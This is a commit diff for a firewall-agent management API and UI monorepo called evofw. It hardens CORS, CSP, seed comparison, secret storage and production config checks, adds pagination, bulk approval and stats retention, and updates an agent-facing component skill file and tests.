PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
run: |
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
pnpm exec turbo run test --filter=@evofw/api
# turbo builds @evofw/{shared,db} first — api typecheck resolves their dist types
pnpm exec turbo run typecheck --filter=@evofw/api --filter=@evofw/db --filter=@evofw/shared
pnpm exec turbo run test --filter=@evofw/api --filter=@evofw/shared
pnpm exec turbo run build --filter=@evofw/api
commitlint:
+1
View File
@@ -0,0 +1 @@
22
+1 -1
View File
@@ -5,7 +5,7 @@ user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
---
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents
+48 -10
View File
@@ -1,6 +1,6 @@
# ReUI components
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
@@ -106,22 +106,60 @@ Common mistakes:
## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:**
```tsx
const [filters, setFilters] = useState<Filter[]>([
createFilter("priority", "is_any_of", ["low"]),
])
const fields: FilterFieldConfig[] = [
{ key: "priority", label: "Priority", type: "multiselect",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
const fields: FilterField[] = [
{ id: "title", label: "Title", type: "text" },
{
id: "status",
label: "Status",
type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
<Filters filters={filters} fields={fields} onChange={setFilters} />
<Filters fields={fields} query={query} onQueryChange={setQuery} />
```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector
+1
View File
@@ -5,6 +5,7 @@
"type": "module",
"scripts": {
"dev": "tsx watch src/server.ts",
"typecheck": "tsc --noEmit",
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
"start": "node dist/server.js",
"test": "vitest run"
+54 -2
View File
@@ -33,20 +33,44 @@ export async function buildApp(opts: BuildAppOptions = {}) {
const app = Fastify({
logger: { level: config.logLevel },
genReqId: () => crypto.randomUUID(),
}).withTypeProvider<ZodTypeProvider>()
// Correlation id in every response and in the error envelope.
app.addHook('onSend', async (req, reply) => {
reply.header('x-request-id', req.id)
})
app.setValidatorCompiler(validatorCompiler)
app.setSerializerCompiler(serializerCompiler)
await app.register(import('@fastify/sensible'))
// CSP only guards the served SPA; in dev the Vite server proxies API
// requests same-origin and injects its own HMR scripts.
await app.register(import('@fastify/helmet'), {
contentSecurityPolicy: false,
contentSecurityPolicy:
config.staticDir !== null
? {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:'],
fontSrc: ["'self'", 'data:'],
// app-switcher talks to the auth portal directly from the browser
connectSrc: ["'self'", config.authPortalUrl],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
},
}
: false,
})
await app.register(import('@fastify/rate-limit'), {
max: 300,
timeWindow: '1 minute',
})
await app.register(corsPlugin)
await app.register(corsPlugin, { config })
await app.register(errorHandlerPlugin)
await app.register(dbPlugin, { config, memory: opts.memory })
await app.register(authPlugin, { config })
@@ -122,6 +146,34 @@ export async function buildApp(opts: BuildAppOptions = {}) {
preventOverrun: true,
}),
)
// Raw stats samples grow ~1 row per agent per sync interval; drop old
// ones daily. Lifetime totals live on agents; aggregates are kept.
const runRetention = async () => {
const cutoff = new Date(
Date.now() - config.statsRetentionDays * 86_400_000,
).toISOString()
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
if (deleted > 0) {
app.log.info(
{ deleted, cutoff },
`stats retention: raw samples older than ${config.statsRetentionDays}d removed`,
)
}
}
app.scheduler.addCronJob(
new CronJob(
{ cronExpression: '17 3 * * *' },
new AsyncTask('stats-retention', runRetention, (err) => {
app.log.warn({ err }, 'stats retention failed')
}),
{ preventOverrun: true },
),
)
// First cleanup right at startup, not only after the next 03:17.
runRetention().catch((err) =>
app.log.warn({ err }, 'stats retention failed'),
)
}
return app
+74
View File
@@ -0,0 +1,74 @@
import { describe, it, expect, afterEach } from 'vitest'
import { loadConfig } from './config.js'
const SAVED: Record<string, string | undefined> = {}
const KEYS = [
'NODE_ENV',
'AUTH_REQUIRED',
'AUTH_JWT_SECRET',
'JWT_SECRET',
'EVOFW_ENROLL_SEED',
'EVOFW_ALLOW_UNSAFE',
]
afterEach(() => {
for (const k of KEYS) {
if (SAVED[k] === undefined) delete process.env[k]
else process.env[k] = SAVED[k]
}
})
function setEnv(vars: Record<string, string | undefined>) {
for (const [k, v] of Object.entries(vars)) {
if (!(k in SAVED)) SAVED[k] = process.env[k]
if (v === undefined) delete process.env[k]
else process.env[k] = v
}
}
describe('loadConfig production fail-safe', () => {
it('refuses insecure defaults in production', () => {
setEnv({
NODE_ENV: 'production',
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
setEnv({ AUTH_REQUIRED: 'true' })
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
setEnv({ AUTH_JWT_SECRET: 'short' })
expect(() => loadConfig()).toThrow(/real secret/)
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
})
it('starts with explicit opt-out or full production config', () => {
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
expect(() => loadConfig()).not.toThrow()
setEnv({
EVOFW_ALLOW_UNSAFE: undefined,
EVOFW_ENROLL_SEED: 'real-seed',
})
expect(() => loadConfig()).not.toThrow()
})
it('dev keeps permissive defaults', () => {
setEnv({
NODE_ENV: undefined,
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
const config = loadConfig()
expect(config.authRequired).toBe(false)
expect(config.corsOrigins).toEqual([])
})
})
+44 -4
View File
@@ -13,6 +13,9 @@ export interface AppConfig {
authAuditIngestSecret: string | null
publicBaseUrl: string
enrollSeed: string
corsOrigins: string[]
secretKey: string | null
statsRetentionDays: number
}
function boolEnv(v: string | undefined, fallback: boolean): boolean {
@@ -20,16 +23,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
return v === '1' || v.toLowerCase() === 'true'
}
const DEV_JWT_SECRET = 'dev-secret-change-me'
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
export function loadConfig(): AppConfig {
const isProd = process.env.NODE_ENV === 'production'
const jwtSecret =
process.env.AUTH_JWT_SECRET ??
process.env.JWT_SECRET ??
(isProd ? '' : 'dev-secret-change-me')
(isProd ? '' : DEV_JWT_SECRET)
return {
const config: AppConfig = {
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
jwtSecret: jwtSecret || 'dev-secret-change-me',
jwtSecret: jwtSecret || DEV_JWT_SECRET,
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
staticDir: process.env.STATIC_DIR
@@ -54,6 +60,40 @@ export function loadConfig(): AppConfig {
enrollSeed:
process.env.EVOFW_ENROLL_SEED ??
process.env.BUNDLE_SEED_HEX ??
'dev-enroll-seed-change-me',
DEV_ENROLL_SEED,
corsOrigins: (process.env.CORS_ORIGINS ?? '')
.split(',')
.map((s) => s.trim().replace(/\/$/, ''))
.filter(Boolean),
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
statsRetentionDays: Math.max(
1,
Math.min(3650, Number(process.env.STATS_RETENTION_DAYS ?? '30') || 30),
),
}
// Fail-safe: a production process must not start wide open or with
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
// opt-out for isolated/lab deployments.
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
const problems: string[] = []
if (!config.authRequired) {
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
}
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
problems.push('AUTH_JWT_SECRET is not set')
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
}
if (config.enrollSeed === DEV_ENROLL_SEED) {
problems.push('EVOFW_ENROLL_SEED is not set')
}
if (problems.length > 0) {
throw new Error(
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
)
}
}
return config
}
View File
+15 -2
View File
@@ -1,8 +1,21 @@
import type { FastifyInstance } from 'fastify'
import fp from 'fastify-plugin'
import type { AppConfig } from '../config.js'
async function corsPlugin(app: FastifyInstance) {
await app.register(import('@fastify/cors'), { origin: true })
async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
const allowed = opts.config.corsOrigins
await app.register(import('@fastify/cors'), {
// The SPA is served same-origin (or via the Vite dev proxy), so by
// default only non-CORS (same-origin/server-side) requests pass.
// CORS_ORIGINS opens specific origins explicitly.
origin: (origin, cb) => {
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
cb(null, true)
} else {
cb(null, false)
}
},
})
}
export default fp(corsPlugin, { name: 'cors' })
+12 -3
View File
@@ -14,17 +14,25 @@ export class AppError extends Error {
}
async function errorHandlerPlugin(app: FastifyInstance) {
app.setErrorHandler((err, _req, reply) => {
app.setErrorHandler((err, req, reply) => {
if (err instanceof AppError) {
return reply.code(err.statusCode).send({
error: { code: err.code, message: err.message },
error: {
code: err.code,
message: err.message,
request_id: String(req.id),
},
})
}
if (err instanceof ZodError) {
const message =
err.issues.map((i) => i.message).join('; ') || 'Validation error'
return reply.code(400).send({
error: { code: 'VALIDATION_ERROR', message },
error: {
code: 'VALIDATION_ERROR',
message,
request_id: String(req.id),
},
})
}
const e = err as { statusCode?: number; message?: string }
@@ -38,6 +46,7 @@ async function errorHandlerPlugin(app: FastifyInstance) {
error: {
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
message,
request_id: String(req.id),
},
})
})
View File
+10 -2
View File
@@ -1,5 +1,5 @@
import { readFileSync } from 'node:fs'
import { createHash } from 'node:crypto'
import { createHash, timingSafeEqual } from 'node:crypto'
import { join } from 'node:path'
import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db'
@@ -18,6 +18,14 @@ import {
const scriptsDir = resolveAgentScriptsDir()
/** Constant-time seed check; hash first so lengths always match. */
function seedMatches(presented: string | undefined, expected: string): boolean {
if (!presented) return false
const a = createHash('sha256').update(presented).digest()
const b = createHash('sha256').update(expected).digest()
return timingSafeEqual(a, b)
}
function sanitizeHostFirewall(raw: {
rules?: unknown[]
listeners?: unknown[]
@@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const seed = req.headers['x-evofw-seed']
const expected =
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
if (!seed || String(seed) !== expected) {
if (!seedMatches(String(seed ?? ''), expected)) {
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
}
const body = enrollBodySchema.parse(req.body)
+39 -8
View File
@@ -5,6 +5,7 @@ import {
putAgentPolicySetsBodySchema,
patchAgentBodySchema,
cloneFromBodySchema,
agentIdsBodySchema,
} from '@evofw/shared'
import { AppError } from '../plugins/error-handler.js'
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
@@ -12,6 +13,7 @@ import { buildInstallUrls } from '../services/install-links.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { mapAgent } from '../services/row-mappers.js'
import { applyPagination } from '../services/pagination.js'
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -19,11 +21,12 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
) => {
const { config } = opts
app.get('/agents', async () => {
const all = repos.listAgents(app.db)
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
return {
items: all.map((a) => {
app.get<{ Querystring: { limit?: string; offset?: string } }>(
'/agents',
async (req) => {
const all = repos.listAgents(app.db)
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
const items = all.map((a) => {
const link = linksByAgent.get(a.id)
if (!link) {
return mapAgent(a)
@@ -38,9 +41,11 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
installCurl: urls.curl.by_slug,
installLinkId: link.id,
})
}),
}
})
})
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
const a = repos.getAgent(app.db, req.params.id)
@@ -147,6 +152,32 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
return mapAgent(updated!)
})
app.post('/agents/approve-bulk', async (req) => {
const body = agentIdsBodySchema.parse(req.body)
const now = new Date().toISOString()
const approved: string[] = []
app.sqlite.transaction(() => {
for (const id of body.agent_ids) {
const a = repos.getAgent(app.db, id)
if (!a || (a.status !== 'pending' && a.status !== 'invited')) continue
repos.updateAgent(app.db, a.id, {
status: 'approved',
approvedAt: now,
})
repos.ensureSharedSetAssigned(app.db, a.id)
approved.push(a.id)
}
})()
auditMutation(app, config, req, {
action: 'agent.approve',
targetType: 'app_resource',
targetId: approved[0] ?? '',
summary: `Массовое одобрение агентов: ${approved.length}`,
details: { agent_ids: approved },
})
return { items: approved.map((id) => mapAgent(repos.getAgent(app.db, id)!)) }
})
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
const a = repos.getAgent(app.db, req.params.id)
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
+11 -5
View File
@@ -9,6 +9,7 @@ import {
import { hashToken } from '../plugins/auth.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { applyPagination } from '../services/pagination.js'
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -16,11 +17,16 @@ export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = asy
) => {
const { config } = opts
app.get('/install-links', async () => ({
items: repos
.listInstallLinks(app.db)
.map((row) => mapInstallLink(row, config.publicBaseUrl)),
}))
app.get<{ Querystring: { limit?: string; offset?: string } }>(
'/install-links',
async (req) => {
const items = repos
.listInstallLinks(app.db)
.map((row) => mapInstallLink(row, config.publicBaseUrl))
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.post('/install-links', async (req, reply) => {
const body = createInstallLinkBodySchema.parse(req.body)
+28 -22
View File
@@ -15,6 +15,8 @@ import {
} from '../services/lists/entries.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
import { applyPagination } from '../services/pagination.js'
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -22,26 +24,30 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
) => {
const { config } = opts
app.get('/lists', async () => {
const lists = repos.listIpLists(app.db)
const counts = repos.countEntriesByListIds(
app.db,
lists.map((l) => l.id),
)
const items = lists.map((l) => ({
id: l.id,
name: l.name,
type: l.type,
config_json: l.configJson,
content_hash: l.contentHash,
refreshed_at: l.refreshedAt,
last_error: l.lastError,
entry_count: counts.get(l.id) ?? 0,
created_at: l.createdAt,
updated_at: l.updatedAt,
}))
return { items }
})
app.get<{ Querystring: { limit?: string; offset?: string } }>(
'/lists',
async (req) => {
const lists = repos.listIpLists(app.db)
const counts = repos.countEntriesByListIds(
app.db,
lists.map((l) => l.id),
)
const items = lists.map((l) => ({
id: l.id,
name: l.name,
type: l.type,
config_json: maskListConfig(l.configJson),
content_hash: l.contentHash,
refreshed_at: l.refreshedAt,
last_error: l.lastError,
entry_count: counts.get(l.id) ?? 0,
created_at: l.createdAt,
updated_at: l.updatedAt,
}))
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.post('/lists', async (req) => {
const body = createIpListBodySchema.parse(req.body)
@@ -52,7 +58,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id,
name: body.name,
type,
configJson: JSON.stringify(body.config ?? {}),
configJson: sealListConfig({ ...(body.config ?? {}) }),
createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString(),
})
@@ -81,7 +87,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id: list!.id,
name: list!.name,
type: list!.type,
config_json: list!.configJson,
config_json: maskListConfig(list!.configJson),
created_at: list!.createdAt,
updated_at: list!.updatedAt,
}
+56
View File
@@ -3,6 +3,7 @@ import { repos } from '@evofw/db'
import {
createPolicySetBodySchema,
patchPolicySetBodySchema,
agentIdsBodySchema,
} from '@evofw/shared'
import { AppError } from '../plugins/error-handler.js'
import type { AppConfig } from '../config.js'
@@ -100,4 +101,59 @@ export const policySetsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async
}
return { ok: true }
})
/**
* Replace which agents have this set assigned: listed agents gain the set
* (other assignments preserved), unlisted agents lose it.
*/
app.put<{ Params: { id: string } }>(
'/policy-sets/:id/agents',
async (req) => {
const set = repos.getPolicySet(app.db, req.params.id)
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
const body = agentIdsBodySchema.parse(req.body)
const target = new Set(body.agent_ids)
for (const agentId of body.agent_ids) {
if (!repos.getAgent(app.db, agentId)) {
throw new AppError('NOT_FOUND', `Agent not found: ${agentId}`, 404)
}
}
const current = repos.listAgentIdsForSet(app.db, set.id)
const toAdd = body.agent_ids.filter((id) => !current.includes(id))
const toRemove = current.filter((id) => !target.has(id))
const applyAssignment = (agentId: string, withSet: boolean) => {
const others = repos
.listSetsForAgent(app.db, agentId)
.map((s) => s.setId)
.filter((id) => id !== set.id)
const next = withSet ? [...others, set.id] : others
repos.setAgentPolicySets(app.db, agentId, next)
}
app.sqlite.transaction(() => {
for (const agentId of toAdd) applyAssignment(agentId, true)
for (const agentId of toRemove) applyAssignment(agentId, false)
})()
auditMutation(app, config, req, {
action: 'policy_set.agents.update',
targetType: 'app_resource',
targetId: set.id,
summary: `Назначение набора ${set.name} обновлено`,
details: {
set_id: set.id,
added: toAdd,
removed: toRemove,
},
})
return {
agent_ids: repos.listAgentIdsForSet(app.db, set.id),
added: toAdd,
removed: toRemove,
}
},
)
}
+11 -6
View File
@@ -63,12 +63,17 @@ export const portAclRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
const items = repos.listAgentPortRules(app.db, agent.id).map((row) => {
const listName = row.listId
? repos.getIpList(app.db, row.listId)?.name
: null
return mapPortRule(row, listName)
})
const rows = repos.listAgentPortRules(app.db, agent.id)
const listNames = repos.mapIpListNames(
app.db,
rows.map((r) => r.listId).filter((id): id is string => Boolean(id)),
)
const items = rows.map((row) =>
mapPortRule(
row,
row.listId ? (listNames.get(row.listId) ?? null) : null,
),
)
return { items }
},
)
+23 -22
View File
@@ -12,7 +12,8 @@ import {
} from '../services/policy/resolve-hostname.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { mapPolicyRule } from '../services/row-mappers.js'
import { mapPolicyRule, mapPolicyRules } from '../services/row-mappers.js'
import { applyPagination } from '../services/pagination.js'
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -26,29 +27,28 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const s = repos.getPolicySet(app.db, req.params.id)
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
return {
items: repos
.listPolicyRules(app.db, s.id)
.map((r) => mapPolicyRule(r, app.db)),
items: mapPolicyRules(repos.listPolicyRules(app.db, s.id), app.db),
}
},
)
app.get<{ Querystring: { set_id?: string; agent_id?: string } }>(
'/rules',
async (req) => {
if (req.query.agent_id) {
return {
items: repos
.listPolicyRulesForAgent(app.db, req.query.agent_id)
.map((r) => mapPolicyRule(r, app.db)),
}
app.get<{
Querystring: { set_id?: string; agent_id?: string; limit?: string; offset?: string }
}>('/rules', async (req) => {
if (req.query.agent_id) {
return {
items: mapPolicyRules(
repos.listPolicyRulesForAgent(app.db, req.query.agent_id),
app.db,
),
}
const items = repos
.listPolicyRules(app.db, req.query.set_id)
.map((r) => mapPolicyRule(r, app.db))
return { items }
},
)
}
const paged = applyPagination(
mapPolicyRules(repos.listPolicyRules(app.db, req.query.set_id), app.db),
req.query,
)
return { items: paged.items, total: paged.total }
})
app.post('/rules', async (req) => {
const body = createPolicyRuleBodySchema.parse(req.body)
@@ -174,9 +174,10 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
details: { set_id: s.id, ordered_ids: body.ordered_ids },
})
return {
items: repos
.listPolicyRules(app.db, s.id)
.map((r) => mapPolicyRule(r, app.db)),
items: mapPolicyRules(
repos.listPolicyRules(app.db, s.id),
app.db,
),
}
},
)
+6 -1
View File
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db'
import { putSettingsBodySchema } from '@evofw/shared'
import type { AppConfig } from '../config.js'
import { encryptSecret } from '../services/secret-cipher.js'
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const body = putSettingsBodySchema.parse(req.body)
for (const [k, v] of Object.entries(body)) {
if (k === 'evobgp_api_token' && v === '********') continue
repos.setSetting(app.db, k, v)
repos.setSetting(
app.db,
k,
k === 'evobgp_api_token' ? encryptSecret(v) : v,
)
}
return { ok: true }
})
+14
View File
@@ -38,3 +38,17 @@ try {
app.log.error(err)
process.exit(1)
}
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
process.on(signal, () => {
app.log.info(`${signal} received, shutting down`)
app
.close()
.then(() => process.exit(0))
.catch((err) => {
app.log.error(err, 'error during shutdown')
process.exit(1)
})
})
}
View File
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('agents CRUD critical paths', () => {
+155
View File
@@ -0,0 +1,155 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function createInvitedAgent(
app: Awaited<ReturnType<typeof buildApp>>,
name: string,
): Promise<string> {
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
expect(created.statusCode).toBe(201)
return (created.json() as { agent_id: string }).agent_id
}
describe('bulk agent operations', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('approve-bulk approves invited agents in one request', async () => {
const app = await appPromise
await app.ready()
const a1 = await createInvitedAgent(app, 'bulk-01')
const a2 = await createInvitedAgent(app, 'bulk-02')
const a3 = await createInvitedAgent(app, 'bulk-03')
const bulk = await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1, a2, a3] },
})
expect(bulk.statusCode).toBe(200)
const body = bulk.json() as { items: { id: string; status: string }[] }
expect(body.items.map((i) => i.id).sort()).toEqual([a1, a2, a3].sort())
expect(body.items.every((i) => i.status === 'approved')).toBe(true)
// shared default set assigned on approve
for (const id of [a1, a2, a3]) {
